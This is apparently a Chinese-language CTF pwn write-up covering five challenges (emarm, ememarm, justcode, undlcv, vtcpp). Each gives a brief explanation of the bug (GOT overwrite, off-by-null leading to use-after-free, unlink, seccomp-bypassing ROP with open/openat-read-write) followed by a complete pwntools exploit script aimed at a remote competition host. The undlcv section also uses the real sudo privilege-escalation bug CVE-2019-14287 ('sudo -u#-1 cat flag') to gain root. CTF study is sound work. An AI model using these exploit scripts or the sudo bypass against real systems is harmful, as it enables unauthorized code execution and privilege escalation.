HWS PWN WRITE UP

First Post:

Last Update:

Word Count:
3k

Read Time:
17 min

HWS PWN WRITE UP

emarm

思路

aarch64,输入’\x00’即可绕过passwd检查,爆破修改atoi的got为system,传入’sh\x00’即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = './emarm'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'lib/libc.so.6'

# remote server ip and port
server_ip = "183.129.189.60"
server_port = 10012

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

#--------------------------exploit--------------------------
def exploit(n):
li('exploit...')
sla(':', '\x00' * 7)
sleep(0.1)
s(str(elf.got['atoi']))
li('atoi :' + hex(libc.sym['atoi']))
li('system :' + hex(libc.sym['system']))
li('puts :' + hex(libc.sym['puts']))
s('\xc8\xf2')
sleep(0.5)
s('sh\x00')

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
for n in range(0x1):
try:
li('round: ' + str(n))
elf = ELF(elf_path)
if LOCAL:
if LIBC:
libc = ELF(libc_path)
io = process(['/usr/bin/qemu-aarch64', '-L' , '.', elf_path])
#io = process(['/usr/bin/qemu-aarch64', '-g', '1234', '-L' , '.', elf_path])
else:
#io = process(['/usr/bin/qemu-aarch64', '-L' , '.', elf_path])
io = process(['/usr/bin/qemu-aarch64', '-g', '1234', '-L' , '.', elf_path])
else:
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit(n)
finish()
except:
c()
continue

ememarm

aarch64架构,off bye null漏洞,由于从1 ~ n - 1个chunk数据区的下面会储存一个chunk指针,off by null可以导致这个指针值最低字节为0,释放内存可以实现释放修改后的,若不同的chunk修改chunk指针都指向同一区域,两次释放相同的内存,造成uaf漏洞,劫持tcache fd为free函数的got表,爆破system函数,由于远程未开启alsr,我根据echo 命令爆破了3个多小时还没出,只能根据puts函数手推system地址,直接10分钟不到就测出了system地址。。。。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = './ememarm'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'lib/libc.so.6'

# remote server ip and port
server_ip = "183.129.189.60"
server_port = 10034

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad(n, b, yn):
sla(':', '1')
sa(':', n)
sa(':', b)
sla('?', str(yn))

def dp(n):
sla(':', '2')
sla(':', str(n))

def md(n, d):
sla(':', '3')
sl(str(n))
s(d)

#--------------------------exploit--------------------------
def exploit(n):
li('exploit...')
sa('\n', 'A' * 0x18)
ad('/bin/sh\x00', p64(1), 1)
ad('/bin/sh\x00', p64(1), 1)
ad('/bin/sh\x00', p64(0x31), 1) # fake
ad('/bin/sh\x00', p64(1), 1)
ad(p64(1), p64(1), 1)
ad(p64(1), p64(1), 1) # 6
ad(p64(1), p64(1), 1)

md(6 , 'B' * 0x18) # delete
md(5, 'B' * 0x18)

libc_base = 0x55008e6790 - libc.sym['free'] + ( 0x1000 * n)
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
free_got = elf.got['free']
free = libc_base + libc.sym['free']
scanf = libc_base + libc.sym['__isoc99_scanf']

#sleep(1)

ad(p64(free_got), p64(1), 0)
ad('/bin/sh\x00', p64(1), 0)


li('libc_base: ' + hex(libc_base))
li('system: ' + hex(system))
li('free_hook: ' + hex(free_hook))
li('free : ' + hex(free))
li('free_got: ' + hex(free_got))
li('scanf: ' + hex(scanf))
#e2c8
#n = 0x8ae
n = 0x221
p = p32(0x2c8 + n * 0x1000)[0:3]
ad('\xc8\xf2\x86', '\x68', 0) #0 a c 7
#free: 8aa790
#puts: 893f40
#system: 86f2c8
md(1, '/bin/sh\x00')

'''
li('get shell ...')
sl('echo "i0gan"')
ru('i0gan')
li('--------------found-------------->>> :' + str(n) + " <<<------")
os.system('echo "' + hex(n) + '" >> n')
'''

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
for n in range(0x1):
try:
li('round: ' + str(n))
elf = ELF(elf_path)
if LOCAL:
if LIBC:
libc = ELF(libc_path)
io = process(['/usr/bin/qemu-aarch64', '-L' , '.', elf_path])
#io = process(['/usr/bin/qemu-aarch64', '-g', '1234', '-L' , '.', elf_path])
else:
#io = process(['/usr/bin/qemu-aarch64', '-L' , '.', elf_path])
io = process(['/usr/bin/qemu-aarch64', '-g', '1234', '-L' , '.', elf_path])
else:
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit(n)
finish()
except:
c()
continue

justcode

思路:

程序开启了sandbox,禁用了execve,只能采用orw。使用scanf函数修改strdup的got为add rsp, 0x18; ret 的一个gadget这样直接可以在堆栈中构造rop,由于长度限制,先在堆栈中放入’./flag’字符串,由于rdi指向该区域,若直接调用open函数的话,存在push,会将该字符串给覆盖掉,避免被覆盖只能采用syscall实现open。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

elf_path = 'justcode'
libc_path = '/glibc/2.23/64/lib/libc.so.6'

# remote server ip and port
host = "183.129.189.60:10041"

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
sl('1')
sl('1')
sl('2')
sl('1')

# leak libc
# step 1
sleep(0.1)
p = 'A' * (0x7 + 8 + 8)
sla(':', p)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['_IO_getline_info'] - 170
li('libc_base: ' + hex(libc_base))
if(LOCAL):
gadget = libc_base + 0x2cbc6 # add rsp , 0x18
else:
gadget = libc_base + 0x35142 # add rsp , 0x8
gadget = libc_base + 0x3ab5f # add rsp , 0x18

# step 2
sleep(0.1)
p = b'A' * 0xc + p32(elf.got['strdup'])
sla(':', p)

#target = libc_base + libc.sym['puts']
# step 3
sleep(0.1)
sl(str(gadget & 0xffffffff))
sleep(0.1)
s('A' * 0x6c)
pop_rdi = 0x400ea3
pop_rdx_rsi = libc_base + 0x115189
pop_rsi = libc_base + 0x202f8
pop_rax = libc_base + 0x3a738
syscall = libc_base + 0xF6F95

flag_addr = elf.bss() + 0x400

p = b'./flag'.ljust(0x10, b'\x00')
p += flat([
pop_rax, 2, pop_rsi, 0, syscall, # open
pop_rdi, 3, pop_rdx_rsi, 0x100, flag_addr, elf.sym['read'],
pop_rdi, 1, libc_base + libc.sym['write']
])

#db()
sleep(0.1)
sa(':', p)

# step 4

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
libc_path = './libc-2.23.so'
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
libc_path = './libc.so.6'
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

undlcv

思路

通过unlink打入指针数组,实现任意地址修改,不知道为啥爆破atoi函数为system一直没调用成功,只能爆破修改read函数got为one_gadget,打通几率大致为1 / 64,打通之后,需要提权为root才能读取flag,采用CVE-CVE-2021-3156可以实现,但是poc是需要拥有可执行权限,上传了也没办法执行,采用另一个CVE-2019-14287: 命令如下:

1
2
sudo -u#-1 id -u
0

以上已经可以提权, sudo -u#-1 [cmd] 可以实现任意高权限命令执行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = './undlcv'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc-2.23.so'
libc_path = './libc.so.6'

# remote server ip and port
host = "183.129.189.60:10013"

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(idx):
sl('1'.ljust(9, '\x00'))
sl(str(idx).ljust(9, '\x00'))

def md(idx, d):
sl('2'.ljust(9, '\x00'))
sl(str(idx).ljust(9, '\x00'))
s(d)

def rm(idx):
sl('3'.ljust(9, '\x00'))
sl(str(idx).ljust(9, '\x00'))

def md_free():
sl('4'.ljust(9, '\x00'))

def to_hex(d):
h = ''
for c in d:
h += '\\'
h += '%03o' % c
return h
#--------------------------exploit--------------------------

def exploit():
li('exploit...')
'''
# dump libc
ad(0)
ad(1)
md(0, b'A' * 0xf0 + p64(0))
rm(1)
'''

target = 0x403480
ad(0)
ad(1)
p = p64(0) + p64(0xf1)
p += p64(target - 0x18) + p64(target - 0x10)
p = p.ljust(0xf0, b'\x00')
p += p64(0xf0)
md(0, p)
rm(1)
md(0, b'A' * 0x18 + p64(elf.got['free']) + p64(elf.got['read']))
li('atoi: ' + hex(libc.sym['atoi']))
li('system: ' + hex(libc.sym['system']))
li('__libc_start_main: ' + hex(libc.sym['__libc_start_main']))
#db()
md(1, '\x64\x03')
sleep(0.5)
sl('/bin/sh')
#sl('echo "i0gan"')
#r = io.recvuntil('\n')
sl('ls')
sl('sudo -u#-1 cat flag')
#sl('echo "' + to_hex(b'\x41\x41\x42\x00\x01\xff') + '" > file')
#p = '/usr/local/bin/sudoedit '
#p += '-A -s \\'

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
for _ in range(16):
try:
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]), timeout = 2)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
except:
continue

[注] 在狠狠师傅问导下知道提权漏洞为CVE-2019-14287

vtcpp

思路

uaf 漏洞,劫持函数指针,开启了sandbox,规则过滤execve,和open函数,在libc中找一个堆栈迁移的gadget,由于libc版本不是标准版,setcontext函数中采用的是rcx,构成死解,无法采用setcontext函数实现堆栈迁移,采用libc另一个gadget即可,如下:

[注] 在狠狠师傅指导下,找到一个很方便的gadget利用

1
2
3
7371e:	48 8b af 98 00 00 00 	mov    rbp,QWORD PTR [rdi+0x98]
73725: 48 89 ef mov rdi,rbp
73728: ff 55 20 call QWORD PTR [rbp+0x20]

由于open已经被禁掉,只能采用openat函数来打开文件了

int openat(int fd, const char *path, int oflag, …);

当第一个参数为AT_FDCWD时,与open实现一样的功能。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

elf_path = 'vtcpp2'

# remote server ip and port
host = "183.129.189.60:10000"

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ct(name, age, msg):
sla('>', '1')
sla(':', name)
sla(':', str(age))
sla(':', msg)

def rm():
sla('>', '2')

def dp():
sla('>', '3')

def nt(sz, d):
sla('>', '4')
sla(':', str(sz))
sa(':', d)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')

puts_info = 0x4019A0
msg_buf = 0x603360
chunk_ptr = 0x603340


# leak libc
ct('i0gan', 19, p64(puts_info))
rm()
nt(0x38, p64(msg_buf) + p64(0) + p64(elf.got['puts']))
dp()
ru('name :')
leak = u64(ru('\x0a')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['puts']
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))

# align to bottom
if(LOCAL):
nt(0xa0, 'buf')
else:
nt(0xa0, 'buf')
#for _ in range(10):
# nt(0x38, 'buf')

# leak heap
ct('i0gan', 19, p64(puts_info))
rm()
nt(0x38, p64(msg_buf) + p64(0) + p64(chunk_ptr))
dp()
ru('name :')
heap = u64(ru('\x0a')[-5:] + b'\x00\x00\x00')
li('heap: ' + hex(heap))

# create rop on heap
gadget = libc_base + 0x7371E
rop_addr = heap + 0x40 + 0xe8
ct('i0gan', 19, p64(gadget))
rm()
nt(0x38, p64(msg_buf))
ret = 0x400538
pop_rdi = 0x401ca3
leave_ret = 0x401961
add_rsp_ret = libc_base + 0x13882b # add rsp, 0x68, ret
openat = libc_base + libc.sym['openat']
pop_rdx_rsi = libc_base + 0x115189

p = p64(1) + p64(add_rsp_ret)
p += b'./flag'.ljust(0x10, b'\x00')
p += p64(leave_ret)
p = p.ljust(0x98 - 0x40, b'\x00')
p += p64(heap + 0x80) # set rbp = rdi
p += p64(0) * 3
rop = flat([
ret, pop_rdi, 0xffffff9c, pop_rdx_rsi, 0, heap + 0x90, openat,
pop_rdi, 3, pop_rdx_rsi, 0x100, heap, libc_base + libc.sym['read'],
pop_rdi, 1, libc_base + libc.sym['write']
])
p += rop
nt(0x200, p)
#db()
dp()

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc-2.23.so'

elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
#io = elf.process()
io = process([elf_path], env={"LD_PRELOAD":"./libc-2.23.so"})
else:
libc_path = './libc-2.23.so'
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
打赏点小钱
支付宝 | Alipay
微信 | WeChat